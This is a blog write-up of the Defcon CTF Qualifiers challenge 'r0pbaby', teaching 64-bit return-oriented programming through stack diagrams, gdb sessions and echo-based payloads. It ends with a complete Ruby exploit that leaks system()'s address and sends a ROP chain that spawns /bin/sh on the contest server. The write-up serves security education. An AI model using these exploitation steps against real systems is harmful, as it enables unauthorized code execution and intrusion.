    Hey all! It's been awhile since I've written on my blog, and I apologize. I'm at a job now where I actually spend my day working instead of pondering, so it's hard to find time! :) So, what's new with me? I'm working on some cool new Nmap stuff right now, so I'm hoping to […]

    #####EOF##### Defcon Quals: r0pbaby (simple 64-bit ROP) » SkullSecurity


    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception!

    Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I did do a few others - r0pbaby included - and am excited to write about them, as well!

    r0pbaby is neat, because it's an absolute bare-bones ROP (return-oriented programming) level. Quite honestly, when it makes sense, I actually prefer using a ROP chain to using shellcode. Much of the time, it's actually easier! You can see the binary, my solution, and other stuff I used on this github repo.

    It might make sense to read a post I made in 2013 about a level in PlaidCTF called ropasaurusrex. But it's not really necessary - I'm going to explain the same stuff again with two years more experience!

    What is ROP?

    Most modern systems have DEP - data execution prevention - enabled. That means that when trying to run arbitrary code, the code has be in memory that's executable. Typically, when a process is running, all memory segments are either writable (+w) or executable (+x) - not both. That's sometimes called "W^X", but it seems more appropriate to just call it common sense.

    ROP - return-oriented programming - is an exploitation technique that bypasses DEP. It does that by chaining together legitimate code that's already in executable memory. This requires the attacker to either a) have complete control of the stack, or b) have control of rip/eip (the instruction pointer register) and the ability to change esp/rsp (the stack pointer) to point to another buffer.

    As a quick example, let's say you overwrite the return address of a vulnerable function with the address of libc's sleep() function. When the vulnerable function attempts to return, instead of returning to where it's supposed to (or returning to shellcode), it'll return to the first line of sleep().

    On a 32-bit system, sleep() will look at the next-to-next value on the stack to find out how long to sleep(). On a 64-bit system, it'll look at the value of the rdi register for its argument, which is a little more elaborate to set up. When it's done, it'll return to the next value on the stack on both architectures, which could very well be another function.

    So basically, sleep() expects its stack to look like on 32-bit:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |         1000         | <-- sleep() looks here for its param (on 32-bit)
    +----------------------+
    |     [return addr]    | <-- where esp will be when sleep() is entered
    +----------------------+
    |    [sleep's  addr]   | <-- return addr of previous function
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    And on 64-bit:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- sleep()'s param is in rdi, so it's not needed here
    |     [return addr]    | <-- where rsp will be when sleep() is entered
    +----------------------+
    |    [sleep's  addr]   | <-- return addr of previous function
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    We'll dive into deeper detail of how to set this up and see way more stack diagrams shortly. But let's start from the beginning!

    Taking a first look

    When you run r0pbaby, or connect to their service, you will see a prompt (the program uses stdin/stdout for i/o):

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    :
    

    It's worthwhile messing with the options a bit to get a feel for it:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 1
    libc.so.6: 0x00007FFFF7FF8B28
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: system
    Symbol system: 0x00007FFFF7883960
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: printf
    Symbol printf: 0x00007FFFF7892F10
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 3
    Enter bytes to send (max 1024): hello???
    Invalid amount.
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    :
    

    We'll look at option 3 more in a little while, but for now let's take a quick look at options 1 and 2. The rest of this section isn't directly applicable to the exploitation stuff, so you're free to skip it if you want. :)

    If you look at the results from option 1 and option 2, you'll see one strange thing: the return from "Get libc address" is higher than the addresses of printf() and system(). It also isn't page aligned (a multiple of 0x1000 (4096), usually), so it almost certainly isn't actually the base address (which, in fairness, the level doesn't explicitly say it is).

    I messed around a bit out of curiosity. Here's what I discovered...

    First, run the program in gdb and get the address that they claim is libc:

    $ gdb -q ./r0pbaby
    Reading symbols from ./r0pbaby...(no debugging symbols found)...done.
    (gdb) run
    Starting program: /home/ron/defcon-quals/r0pbaby/r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 1
    libc.so.6: 0x00007FFFF7FF8B28
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    

    So that's what it returns: 0x00007FFFF7FF8B28. Now we use ctrl-c to break into the debugger and figure out the real base address:

    : ^C
    Program received signal SIGINT, Interrupt.
    0x00007ffff791e5e0 in __read_nocancel () from /lib64/libc.so.6
    (gdb) info proc map
    process 5475
    Mapped address spaces:
    
              Start Addr           End Addr       Size     Offset objfile
          0x555555554000     0x555555556000     0x2000        0x0 /home/ron/defcon-quals/r0pbaby/r0pbaby
          0x555555755000     0x555555757000     0x2000     0x1000 /home/ron/defcon-quals/r0pbaby/r0pbaby
          0x555555757000     0x555555778000    0x21000        0x0 [heap]
          0x7ffff7842000     0x7ffff79cf000   0x18d000        0x0 /lib64/libc-2.20.so
          0x7ffff79cf000     0x7ffff7bce000   0x1ff000   0x18d000 /lib64/libc-2.20.so
          0x7ffff7bce000     0x7ffff7bd2000     0x4000   0x18c000 /lib64/libc-2.20.so
          0x7ffff7bd2000     0x7ffff7bd4000     0x2000   0x190000 /lib64/libc-2.20.so
    [...]
    

    This tells us that the actual address where libc is loaded is 0x7ffff7842000. Theirs was definitely wrong!

    On a Linux system, the first 4 bytes at the base address will usually be "\x7fELF" or "\x7f\x45\x4c\x46". We can check the first four bytes at the actual base address to verify:

    (gdb) x/8xb 0x7ffff7842000
    0x7ffff7842000: 0x7f    0x45    0x4c    0x46    0x02    0x01    0x01    0x00
    (gdb) x/8xc 0x7ffff7842000
    0x7ffff7842000: 127 '\177'      69 'E'  76 'L'  70 'F'  2 '\002'        1 '\001'        1 '\001'        0 '\000'
    

    And we can check the base address that the program tells us:

    (gdb) x/8xb 0x00007FFFF7FF8B28
    0x7ffff7ff8b28: 0x00    0x20    0x84    0xf7    0xff    0x7f    0x00    0x00
    

    From experience, that looks like a 64-bit address to me (6 bytes long, starts with 0x7f if you read it in little endian), so I tried print it as a 64-bit value:

    (gdb) x/xg 0x00007FFFF7FF8B28
    0x7ffff7ff8b28: 0x00007ffff7842000
    

    Aha! It's a pointer to the actual base address! It seems a little odd to send that to the user, it does them basically no good, so I'll assume that it's a bug. :)

    Stealing libc

    If there's one thing I hate, it's attacking a level blind. Based on the output so far, it's pretty clear that they're going to want us to call a libc function, but they don't actually give us a copy of libc.so! While it's not strictly necessary, having a copy of libc.so makes this far easier.

    I'll post more details about how and why to steal libc in a future post, but for now, suffice to stay: if you can, beat the easiest 64-bit level first (like babycmd) and liberate a copy of libc.so. Also snag a 32-bit version of libc if you can find one. Believe me, you'll be thankful for it later! To make it possible to follow the rest of this post, here's libc-2.19.so from babycmd and here's libc-2.20.so from my box, which is the one I'll use for this writeup.

    You might be wondering how to verify whether or not that actually IS the right library. For now, let's consider that to be homework. I'll be writing more about that in the future, I promise!

    Find a crash

    I played around with option 3 for awhile, but it kept giving me a length error. So I used the best approach for annoying CTF problems: I asked a teammate who'd already solved that problem. He'd reverse engineered the function already, saving me the trouble. :)

    It turns out that the correct way to format things is by sending a length, then a newline, then the payload:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 3
    Enter bytes to send (max 1024): 20
    AAAAAAAAAAAAAAAAAAAA
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    Segmentation fault
    

    Well, that may be one of the easiest ways I've gotten a segfault! But the work isn't quite done. :)

    rip control

    Our first goal is going to be to get control of rip (that's like eip, the instruction pointer, but on a 64-bit system). As you probably know by now, rip is the register that points to the current instruction being executed. If we move it, different code runs. The classic attack is to move eip to point at shellcode, but ROP is different. We want to carefully control rip to make sure it winds up in all the right places.

    But first, let's non-carefully control it!

    The program indicates that it's writing the r0p buffer to the stack, so the easiest thing to do is probably to start throwing stuff into the buffer to see what happens. I like to send a string with a series of values I'll recognize in a debugger. Since it's a 64-bit app, I send 8 "A"s, 8 "B"s, and so on. If it doesn't crash. I send more.

    $ gdb -q ./r0pbaby
    (gdb) run
    
    [...]
    
    : 3
    Enter bytes to send (max 1024): 32
    AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000555555554eb3 in ?? ()
    

    All right, it crashes at 0x0000555555554eb3. Let's take a look at what lives at the current instruction (pro-tip: "x/i $rip" or equivalent is basically always the first thing I run on any crash I'm investigating):

    (gdb) x/i $rip
    => 0x555555554eb3:      ret
    

    It's crashing while attempting to return! That generally only happens when either the stack pointer is messed up...

    (gdb) print/x $rsp
    $1 = 0x7fffffffd918
    

    ...which it doesn't appear to be, or when it's trying to return to a bad address...

    (gdb) x/xg $rsp
    0x7fffffffd918: 0x4242424242424242
    

    ...which it is! It's trying to return to 0x4242424242424242 ("BBBBBBBB"), which is an illegal address (the first two bytes have to be zero on a 64-bit system).

    We can confirm this, and also prove to ourselves that NUL bytes are allowed in the input, by sending a couple of NUL bytes. I'm switching to using 'echo' on the commandline now, so I can easily add NUL bytes (keep in mind that because of little endian, the NUL bytes have to go after the "B"s, not before):

    $ ulimit -c unlimited
    $ echo -ne '3\n32\nAAAAAAAABBBBBB\0\0CCCCCCCCDDDDDDDD\n' | ./r0pbaby
    [...]
    Segmentation fault (core dumped)
    $ gdb ./r0pbaby ./core
    [...]
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x0000424242424242 in ?? ()
    

    Now we can see that rip was successfully set to 0x0000424242424242 ("BBBBBB\0\0" because of little endian)!

    How's the stack work again?

    As I said at the start, reading my post about ropasaurusrex would be a good way to get acquainted with ROP exploits. If you're pretty comfortable with stacks or you've recently read/understood that post, feel free to skip this section!

    Let's start by talking about 32-bit systems - where parameters are passed on the stack instead of in registers. I'll explain how to deal with register parameters in 64-bit below.

    Okay, so: a program's stack is a run-time structure that holds temporary values that functions need. Things like the parameters, the local variables, the return address, and other stuff. When a function is called, it allocates itself some space on the stack by growing downward (towards lower memory addresses) When the function returns, the data's all removed from the stack (it's not actually wiped from memory, it just becomes free to get overwritten). The register rsp always points to the most recent thing pushed to the stack and the next thing that would be popped off the stack.

    Let's use sleep() as an example again. You call sleep() like this:

    1: push 1000
    2: call sleep
    

    or like this:

    1. mov [esp], 1000
    2: call sleep
    

    They're identical, as far as sleep() is concerned. The first is a tiny bit more memory efficient and the second is a tiny bit faster, but that's about it.

    Before line 1, we don't know or care what's on the stack. We can look at it like this (I'm choosing completely arbitrary addresses so you can match up diagrams with each other):

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1040 |     (irrelevant)     |
           +----------------------+
    0x103c |     (irrelevant)     |
           +----------------------+
    0x1038 |     (irrelevant)     | <-- rsp
           +----------------------+
    0x1034 |       (unused)       |
           +----------------------+
    0x1030 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Values lower than rsp are unused. That means that as far as the stack's concerned, they're unallocated. They might be zero, or they might contain values from previous function calls. In a properly working system, they're never read. If they're accidentally used (like if somebody declares a variable but forgets to initialize it), you could wind up with a use-after-free vulnerability or similar.

    The value that rsp is pointing to and the values above it (at higher addresses) also don't really matter. They're part of the stack frame for the function that's calling sleep(), and sleep() doesn't care about those. It only cares about its own stack frame (a stack frame, as we'll see, is the parameters, return address, saved registers, and local variables of a function - basically, everything the function stores on the stack and everything it cares about on the stack).

    Line 1 pushes 1000 onto the stack. The frame will then look like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x103c |     (irrelevant)     |
           +----------------------+
    0x1038 |     (irrelevant)     | <-- stuff from the previous function
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         | <-- rsp
           +----------------------+
    0x1030 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    When you call the function at line 2, it pushes the return address onto the stack, like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    | <-- rsp
           +----------------------+
    0x102c |       (unused)       |
           +----------------------+
    0x1028 |       (unused)       |
           +----------------------+
    0x1024 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Note how rsp has moved from 0x1038 to 0x1034 to 0x1030 as stuff is added to the stack. But it always points to the last thing added!

    Let's look at how sleep() might be implemented. This is a very common function prelude:

    100; sleep():
    101: push rbp
    102: mov rbp, rsp
    103: sub rsp, 0x20
    104: ...everything else...

    (Note that those are line numbers for reference, not actual addresses, so please don't get upset that the values don't increment enough :) )

    At line 100, the old frame pointer is saved to the stack:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    | <-- rsp
           +----------------------+
    0x1028 |       (unused)       |
           +----------------------+
    0x1024 |       (unused)       |
           +----------------------+
    0x1020 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Then at line 102, nothing on the stack changes. On line 103, 0x20 is subtracted from esp, which effectively reserves 0x20 (32) bytes for local variables:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     | <-- rsp
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+
    0x1004 |       (unused)       |
           +----------------------+
    0x1000 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    And that's the entire stack frame for the sleep(0 function call! It's possible that there are other registers preserved on the stack, in addition to rbp, but that doesn't really change anything. We only care about the parameters and the return address.

    If sleep() calls a function, the same process will happen:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     |
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+ <-- start of next function's stack frame
    0x1004 |       [params]       |
           +----------------------+
    0x1000 |     [return addr]    |
           +----------------------+
    0x0ffc |     [saved frame]    |
           +----------------------+
           |                      |
    0x0ffc |                      |
       -   |     [local vars]     |
    0x0fb4 |                      |
           |                      |
           +----------------------+ <-- end of next function's stack frame
           +----------------------+
    0x0fb0 |       (unused)       |
           +----------------------+
    0x0fac |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    And so on, with the stack constantly growing towards lower addresses. When the function returns, the same thing happens in reverse order (the local vars are removed from the stack by adding to rsp (or replacing it with rbp), rbp is popped off the stack, and the return address is popped and returned to).

    The parameters are cleared off the stack by either the caller or callee, depending on the compiler, but that won't come into play for this writeup. However, when ROP is used to call multiple functions, unless the function clean up their own parameters off the stack, the exploit developer has to do it themselves. Typically, on Windows functions clean up after themselves but on other OSes they don't (but you can't rely on that). This is done by using a "pop ret", "pop pop ret", etc., after each function call. See my ropasaurusrex writeup for more details.

    Enter: 64-bit

    The fact that this level is 64-bit complicates things in important ways (and ways that I always seem to forget about till things don't work).

    Specifically, in 64-bit, the first handful of parameters to a function are passed in registers, not on the stack. I don't have the order of registers memorized - I forget it after every CTF, along with whether ja/jb or jl/jg are the unsigned ones - but the first two are rdi and rsi. That means that to call the same sleep() function on 64-bit, we'd have this code instead:

    1: mov rdi, 1000
    2: call sleep
    

    And its stack frame would look like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+ <-- start of previous function's stack frame
           +----------------------+ <-- start of sleep()'s stack frame
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     |
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    No parameters, just the return address, saved frame pointer, and local variables. It's exceedingly rare for the stack to be used for parameters on 64-bit.

    Stacks: the important bit

    Okay, so that's a stack frame. A stack frame contains parameters, return address, saved registers, and local variables. On 64-bit, it usually contains the return address, saved registers, and local variables (no parameters).

    But here's the thing: when you enter a function - that is to say, when you start running the first line of the function - the function doesn't really know where you came from. I mean, not really. It knows the return address that's on the stack, but doesn't really have a way to validate that it's real (except with advanced exploitation mitigations). It also knows that there are some parameters right before (at higher addresses than) the return address, if it's 32-bit. Or that rdi/rsi/etc. contain parameters if it's 64-bit.

    So let's say you overwrote the return address on the stack and returned to the first line of sleep(). What's it going to do?

    As we saw, on 64-bit, sleep() expects its stack frame to contain a return address:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    +----------------------+ <-- start of sleep()'s stack frame
    |     [return addr]    | <-- rsp
    +----------------------+
    |     (unallocated)    |
    +----------------------+
    |...lower addressess...|
    +----------------------+
    

    sleep() will push some registers, make room for local variables, and really just do its own thing. When it's all done, it'll grab the return address from the stack, return to it, and somebody will move rsp back to the calling function's stack frame (it, getting rid of the parameters from the stack).

    Using system()

    Because this level uses stdout and stdin for i/o, all we really have to do is make this call:

    system("/bin/sh")
    

    Then we can run arbitrary commands. Seems pretty simple, eh? We don't even care where system() returns to, once it's done the program can just crash!

    You just have to do two things:

    1. set rip to the address of system()
    2. set rdi to a pointer to the string "/bin/sh" (or just "sh" if you prefer)

    Setting rip to the address of system() is easy. We have the address of system() and we have rip control, as we discovered. It's just a matter of grabbing the address of system() and using that in the overflow.

    Setting rdi to the pointer to "/bin/sh" is a little more problematic, though. First, we need to find the address of "/bin/sh" somehow. Then we need a "gadget" to put it in rdi. A "gadget", in ROP, refers to a small piece of code that performs an operation then returns.

    It turns out, all of the above can be easily done by using a copy of libc.so. Remember how I told you it'd come in handy?

    Finding "/bin/sh"

    So, this is actually pretty easy. We need to find "/bin/sh" given a) the ability to leak an address in libc.so (which this program does by design), and b) a copy of libc.so. Even with ASLR turned on, any two addresses within the same binary (like within libc.so or within the binary itself) won't change their relative positions to each other. Addresses in two different binaries will likely be different, though.

    If you fire up IDA, and go to the "strings" tab (shift-F12), you can search for "/bin/sh". You'll see that "/bin/sh" will have an address something like 0x7ffff6aa307c.

    Alternatively, you can use this gdb command (helpfully supplied by bla from io.sts):

    (gdb) find /b 0x7ffff7842000,0x7ffff7bd4000, '/','b','i','n','/','s','h'
    0x7ffff79a307c
    warning: Unable to access 16000 bytes of target memory at 0x7ffff79d5d03, halting search.
    1 pattern found.
    (gdb) x/s 0x7ffff79a307c
    0x7ffff79a307c: "/bin/sh"
    

    Once you've obtained the address of "/bin/sh", find the address of any libc function - we'll use system(), since system() will come in handy later. The address will be something like 0x00007ffff6983960. If you subtract the two addresses, you'll discover that the address of "/bin/sh" is 0x11f71c bytes after the address of system(). As I said earlier, that won't change, so we can reliably use that in our exploit.

    Now when you run the program:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: system
    Symbol system: 0x00007FFFF7883960
    

    You can easily calculate that the address of the string "/bin/sh" will be at 0x00007ffff7883960 + 0x11f71c = 0x7ffff79a307c.

    Getting "/bin/sh" into rdi

    The next thing you'll want to do is put "/bin/sh" into rdi. We can do that in two steps (recall that we have control of the stack - it's the point of the level):

    1. Put it on the stack
    2. Find a "pop rdi" gadget

    To do this, I literally searched for "pop rdi" in IDA. With the spaces and everything! :)

    I found this in both my own copy of libc and the one I stole from babycmd:

    .text:00007FFFF80E1DF1                 pop     rax
    .text:00007FFFF80E1DF2                 pop     rdi
    .text:00007FFFF80E1DF3                 call    rax
    

    What a beautiful sequence! It pops the next value of the stack into rax, pops the next value into rdi, and calls rax. So it calls an address from the stack with a parameter read from the stack. It's such a lovely gadget! I was surprised and excited to find it, though I'm sure every other CTF team already knew about it. :)

    The absolute address that IDA gives us is 0x00007ffff80e1df1, but just like the "/bin/sh" string, the address relative to the rest of the binary never changes. If you subtract the address of system() from that address, you'll get 0xa7969 (on my copy of libc).

    Let's look at an example of what's actually going on when we call that gadget. You're at the end of main() and getting ready to return. rsp is pointing to what it thinks is the return address, but is really "BBBBBBBB"-now-gadget_addr:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |  0x00007ffff80e1df1  | <-- rsp
    +----------------------+
    |       AAAAAAAA       |
    +----------------------+
    |...lower addresses....|
    +----------------------+
    

    When the return happens, it looks like this:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       | <-- rsp
    +----------------------+
    |  0x00007FFFF80E1DF1  |
    +----------------------+
    |       AAAAAAAA       |
    +----------------------+
    |...lower addresses....|
    +----------------------+
    

    The first instruction - pop rax - runs. rax is now 0x4343434343434343 ("CCCCCCCC").

    The second instruction - pop rdi - runs. rdi is now 0x4444444444444444 ("DDDDDDDD").

    Then the final instruction - call rax - is called. It'll attempt to call 0x4343434343434343, with 0x4444444444444444 as its parameter, and crash. Controlling both the called address and the parameter is a huge win!

    Putting it all together

    I realize this is a lot to take in if you can't read stacks backwards and forwards (trust me, I frequently read stacks backwards - in fact, I wrote this entire blog post with upside-down stacks before I noticed and had to go back and fix it! :) ).

    Here's what we have:

    • The ability to write up to 1024 bytes onto the stack
    • The ability to get the address of system()
    • The ability to get the address of "/bin/sh", based on the address of system()
    • The ability to get the address of a sexy gadget, also based on system(), that'll call something from the stack with a parameter from the stack

    We're overflowing a local variable in main(). Immediately before our overflow, this is what main()'s stack frame probably looks like:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- start of main()'s stack frame
    |         argv         |
    +----------------------+
    |         argc         |
    +----------------------+
    |     [return addr]    | <-- return address of main()
    +----------------------+
    |     [saved frame]    | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     | <-- rsp
    |                      |
    |                      |
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

    Because you only get 8 bytes before you hit the return address, the first 8 bytes are probably overwriting the saved frame pointer (or whatever, it doesn't really matter, but you can prove it's the frame pointer by using a debugger and verifying that rbp is 0x4141414141414141 after it returns (it is)).

    The main thing is, as we saw earlier, if you send the string "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD", the "BBBBBBBB" winds up as main()'s return address. That means the stack winds up looking like this before main() starts cleaning up its stack frame:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- WAS the start of main()'s stack frame
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |       BBBBBBBB       | <-- return address of main()
    +----------------------+
    |       AAAAAAAA       | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     |
    |                      |
    |                      | <-- rsp
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

    When main attempts to return, it tries to return to 0x4242424242424242 as we saw earlier, and it crashes.

    Now, one thing we can do is return directly to system(). But your guess is as good as mine as to what's in rdi, but you can bet it's not going to be "/bin/sh". So instead, we return to our gadget:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- start of main()'s stack frame
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |     gadget_addr      | <-- return address of main()
    +----------------------+
    |       AAAAAAAA       | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     |
    |                      |
    |                      | <-- rsp
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

    Since I have ASLR off on my computer (if you do turn it off, please make sure you turn it back on!), I can pre-compute the addresses I need.

    Symbol system: 0x00007FFFF7883960 (from the program)

    sh_addr = system_addr + 0x11f71c
    sh_addr = 0x00007ffff7883960 + 0x11f71c
    sh_addr = 0x7ffff79a307c

    gadget_addr = system_addr + 0xa7969
    gadget_addr = 0x00007ffff7883960 + 0xa7969
    gadget_addr = 0x7ffff792b2c9

    So now, let's change the exploit we used to crash it a long time ago (we replace the "B"s with the address of our gadget, in little endian format:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00CCCCCCCCDDDDDDDD\n' | ./r0pbaby
    Welcome to an easy Return Oriented Programming challenge...
    [...]
    Menu:
    Segmentation fault (core dumped)
    

    Great! It crashed as expected! Let's take a look at HOW it crashed:

    $ gdb -q ./r0pbaby ./core
    Core was generated by `./r0pbaby'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00007ffff792b2cb in clone () from /lib64/libc.so.6
    (gdb) x/i $rip
    => 0x7ffff792b2cb :  call   rax
    

    It crashed on the call at the end of the gadget, which makes sense! Let's check out what it's trying to call and what it's using as a parameter:

    (gdb) print/x $rax
    $1 = 0x4343434343434343
    (gdb) print/x $rdi
    $2 = 0x4444444444444444
    

    It's trying to call "CCCCCCCC" with the parameter "DDDDDDDD". Awesome! Let's try it again, but this time we'll plug in our sh_address in place of "DDDDDDDD" to make sure that's working (I strongly believe in incremental testing :) ):

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00CCCCCCCC\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    [...]
    Segmentation fault (core dumped)
    $ gdb -q ./r0pbaby ./core
    [...]
    (gdb) x/i $rip
    => 0x7ffff792b2cb :  call   rax
    

    It's still crashing in the same place! We don't have to check rax, we know it'll be 0x4343434343434343 ("CCCCCCCC") again. But let's check out if rdi is right:

    (gdb) print/x $rdi
    $2 = 0x7ffff79a307c
    (gdb) x/s $rdi
    0x7ffff79a307c: "/bin/sh"
    

    All right, the parameter is set properly!

    One last step: Replace the return address ("CCCCCCCC") with the address of system 0x00007ffff7883960:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00\x60\x39\x88\xf7\xff\x7f\x00\x00\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    

    Unfortunately, you can't return into system(). I couldn't figure out why, but on Twitter Jan Kadijk said that it's likely because system() ends when it sees the end of file (EOF) marker, which makes perfect sense.

    So in the interest of proving that this actually returns to a function, we'll call printf (0x00007FFFF7892F10) instead:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00\x10\x2f\x89\xf7\xff\x7f\x00\x00\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Enter bytes to send (max 1024): 1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    /bin/sh
    

    It prints out its first parameter - "/bin/sh" - proving that printf() was called and therefore the return chain works!

    The exploit

    Here's the full exploit in Ruby. If you want to run this against your own system, you'll have to calculate the offset of the "/bin/sh" string and the handy-dandy gadget first! Just find them in IDA or objdump or whatever and subtract the address of system() from them.

    #!/usr/bin/ruby
    
    require 'socket'
    
    SH_OFFSET_REAL = 0x13669b
    SH_OFFSET_MINE = 0x11f71c
    
    GADGET_OFFSET_REAL = 0xb3e39
    GADGET_OFFSET_MINE = 0xa7969
    
    #HOST = "localhost"
    HOST = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me"
    
    PORT = 10436
    
    s = TCPSocket.new(HOST, PORT)
    
    # Receive until the string matches the regex, then delete everything
    # up to the regex
    def recv_until(s, regex)
      buffer = ""
    
      loop do
        buffer += s.recv(1024)
        if(buffer =~ /#{regex}/m)
          return buffer.gsub(/.*#{regex}/m, '')
        end
      end
    end
    
    # Get the address of "system"
    puts("Getting the address of system()...")
    s.write("2\n")
    s.write("system\n")
    system_addr = recv_until(s, "Symbol system: ").to_i(16)
    puts("system() is at 0x%08x" % system_addr)
    
    # Build the ROP chain
    puts("Building the ROP chain...")
    payload = "AAAAAAAA" +
      [system_addr + GADGET_OFFSET_REAL].pack("<Q") + # address of the gadget
      [system_addr].pack("<Q") +                      # address of system
      [system_addr + SH_OFFSET_REAL].pack("<Q") +     # address of "/bin/sh"
      ""
    
    # Write the ROP chain
    puts("Sending the ROP chain...")
    s.write("3\n")
    s.write("#{payload.length}\n")
    s.write(payload)
    
    # Tell the program to exit
    puts("Exiting the program...")
    s.write("4\n")
    
    # Give sh some time to start
    puts("Pausing...")
    sleep(1)
    
